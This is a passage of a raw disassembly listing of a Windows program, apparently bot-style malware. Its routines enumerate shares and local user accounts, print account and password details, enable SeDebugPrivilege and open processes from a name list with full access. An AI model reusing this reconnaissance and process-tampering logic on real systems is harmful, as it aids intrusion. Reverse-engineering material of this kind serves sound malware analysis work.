		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 18h


loc_418CC8:				; CODE XREF: sub_418C8F+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB598
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2B
		cmp	ebx, 0EAh
		jz	short loc_418D2B
		push	ebx
		push	ebx
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439788
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_418D98
; ---------------------------------------------------------------------------


loc_418D2B:				; CODE XREF: sub_418C8F+5Dj
					; sub_418C8F+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8F
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D39:				; CODE XREF: sub_418C8F+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB53C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D50
		mov	eax, offset aNo	; "No"


loc_418D50:				; CODE XREF: sub_418C8F+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D39
		xor	esi, esi


loc_418D8F:				; CODE XREF: sub_418C8F+A2j
		push	[ebp+var_4]
		call	dword_4CB6E4


loc_418D98:				; CODE XREF: sub_418C8F+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC8
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DB0	proc near		; CODE XREF: sub_401ACD:loc_4061EFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E55
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF2
		dec	eax
		jz	short loc_418DE7
		dec	eax
		jnz	short loc_418E0D
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF7
		add	esp, 14h
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DE7:				; CODE XREF: sub_418DB0+1Dj
		push	ebx
		push	edi
		call	sub_418ED6
		pop	ecx
		pop	ecx
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DF2:				; CODE XREF: sub_418DB0+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E06
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7C
		add	esp, 0Ch
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418E06:				; CODE XREF: sub_418DB0+45j
		push	57h
		pop	eax


loc_418E09:				; CODE XREF: sub_418DB0+35j
					; sub_418DB0+40j ...
		cmp	eax, edi
		jnz	short loc_418E2D


loc_418E0D:				; CODE XREF: sub_418DB0+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4D0
		push	off_439094[eax*4]
		push	offset unk_439840
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418DB0+5Bj
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4D0
		push	off_439090[eax*4]
		push	offset unk_439810
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418DB0+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB4D0
		lea	eax, [eax+eax*2]
		push	off_439090[eax*4]
		push	offset unk_4397E8
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E75:				; CODE XREF: sub_418DB0+7Bj
					; sub_418DB0+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7C	proc near		; CODE XREF: sub_418DB0+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2B
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2B
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB52C
		pop	edi
		leave
		retn
sub_418E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED6	proc near		; CODE XREF: sub_418DB0+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB51C
		pop	esi
		retn
sub_418ED6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF7	proc near		; CODE XREF: sub_418DB0+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CB6AC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929F
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192DA
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419016
		dec	eax
		jz	short loc_41900F
		dec	eax
		jz	short loc_419008
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419008:				; CODE XREF: sub_418EF7+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_41900F:				; CODE XREF: sub_418EF7+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419016:				; CODE XREF: sub_418EF7+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901B:				; CODE XREF: sub_418EF7+10Fj
					; sub_418EF7+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CB
; ---------------------------------------------------------------------------


loc_41929F:				; CODE XREF: sub_418EF7+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439860
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A73
		add	esp, 20h


loc_4192CB:				; CODE XREF: sub_418EF7+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192DA
		push	[ebp+var_4]
		call	dword_4CB6E4


loc_4192DA:				; CODE XREF: sub_418EF7+40j
					; sub_418EF7+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192E0	proc near		; CODE XREF: sub_401ACD+473Cp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2B
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 18h


loc_41931F:				; CODE XREF: sub_4192E0+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB5B4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_419380
		cmp	eax, 0EAh
		jz	short loc_419380
		push	eax
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439A50
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_419380:				; CODE XREF: sub_4192E0+62j
					; sub_4192E0+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940E
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FB


loc_419392:				; CODE XREF: sub_4192E0+EDj
		cmp	edi, esi
		jz	short loc_4193D1
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419392
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_4193D1:				; CODE XREF: sub_4192E0+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439A1C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 1Ch


loc_4193FB:				; CODE XREF: sub_4192E0+9Ej
					; sub_4192E0+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940E
		push	edi
		call	dword_4CB6E4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940E:				; CODE XREF: sub_4192E0+A5j
					; sub_4192E0+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931F
		cmp	edi, esi
		jz	short loc_419426
		push	edi
		call	dword_4CB6E4


loc_419426:				; CODE XREF: sub_4192E0+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419460	proc near		; CODE XREF: sub_418A99+41p
					; sub_418C8F+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419512
		jz	loc_41950B
		cmp	eax, 7Bh
		ja	short loc_4194D7
		jz	short loc_4194CD
		cmp	eax, 5
		jz	short loc_4194C3
		cmp	eax, 8
		jz	short loc_4194B9
		cmp	eax, 32h
		jz	short loc_4194AF
		cmp	eax, 35h
		jz	short loc_4194A5
		cmp	eax, 57h
		jnz	loc_419561
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194A5:				; CODE XREF: sub_419460+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194AF:				; CODE XREF: sub_419460+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194B9:				; CODE XREF: sub_419460+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194C3:				; CODE XREF: sub_419460+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194CD:				; CODE XREF: sub_419460+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194D7:				; CODE XREF: sub_419460+1Aj
		sub	eax, 7Ch
		jz	short loc_419504
		sub	eax, 7C8h
		jz	short loc_4194FD
		dec	eax
		jz	short loc_4194F3
		dec	eax
		jnz	short loc_419561
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194F3:				; CODE XREF: sub_419460+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194FD:				; CODE XREF: sub_419460+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419504:				; CODE XREF: sub_419460+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41950B:				; CODE XREF: sub_419460+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419512:				; CODE XREF: sub_419460+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954B
		jz	short loc_419544
		sub	eax, 8ADh
		jz	short loc_419576
		dec	eax
		dec	eax
		jz	short loc_41953D
		dec	eax
		jz	short loc_419536
		dec	eax
		dec	eax
		jnz	short loc_419561
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419536:				; CODE XREF: sub_419460+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41953D:				; CODE XREF: sub_419460+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419544:				; CODE XREF: sub_419460+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41954B:				; CODE XREF: sub_419460+B9j
		sub	eax, 8CAh
		jz	short loc_41957D
		sub	eax, 17h
		jz	short loc_419576
		sub	eax, 25h
		jz	short loc_41956F
		sub	eax, 29h
		jz	short loc_419568


loc_419561:				; CODE XREF: sub_419460+35j
					; sub_419460+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419568:				; CODE XREF: sub_419460+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41956F:				; CODE XREF: sub_419460+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419576:				; CODE XREF: sub_419460+C2j
					; sub_419460+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41957D:				; CODE XREF: sub_419460+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419582:				; CODE XREF: sub_419460+40j
					; sub_419460+4Aj ...
		push	offset dword_4DB270
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DB270
		pop	ecx
		retn
sub_419460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419594	proc near		; CODE XREF: sub_401ACD+4782p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 26C0000h
		nop
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB664
		test	eax, eax
		jnz	short loc_419624
		mov	esi, offset dword_4DB06C
		push	offset unk_439D84
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964D
; ---------------------------------------------------------------------------


loc_419624:				; CODE XREF: sub_419594+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_419460
		pop	ecx
		mov	esi, offset dword_4DB06C
		push	eax
		push	offset dword_439D58
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964D:				; CODE XREF: sub_419594+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419594	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419652	proc near		; CODE XREF: sub_416F1B+45p
					; sub_416F1B+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 271064Bh
		nop
		push	eax
		call	dword_4CB638
		test	eax, eax
		jnz	short loc_419671
		leave
		retn
; ---------------------------------------------------------------------------


loc_419671:				; CODE XREF: sub_419652+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB610
		test	eax, eax
		jz	short loc_4196AF
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419698
		or	[ebp+var_8], 2
		jmp	short loc_41969C
; ---------------------------------------------------------------------------


loc_419698:				; CODE XREF: sub_419652+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969C:				; CODE XREF: sub_419652+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB6C0
		mov	esi, eax


loc_4196AF:				; CODE XREF: sub_419652+32j
		push	[ebp+var_4]
		nop
		call	near ptr 26608E3h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419652	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BD	proc near		; CODE XREF: sub_401ACD+7916p
					; sub_4198EC+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB674, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BC
		cmp	dword_4CB658, ebx
		jz	loc_4198BC
		cmp	dword_4CB568, ebx
		jz	loc_4198BC
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB674
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AF
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB658
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198AA
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB568
		test	eax, eax
		jz	loc_4198AA
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419781:				; CODE XREF: sub_4196BD+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E8
		mov	[ebp+var_4], offset off_439DB0


loc_41978F:				; CODE XREF: sub_4196BD+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2811094h
		test	eax, eax
		jz	short loc_4197B7
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439E10
		jb	short loc_41978F
		jmp	loc_419890
; ---------------------------------------------------------------------------


loc_4197B7:				; CODE XREF: sub_4196BD+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419890
		push	0
		push	eax
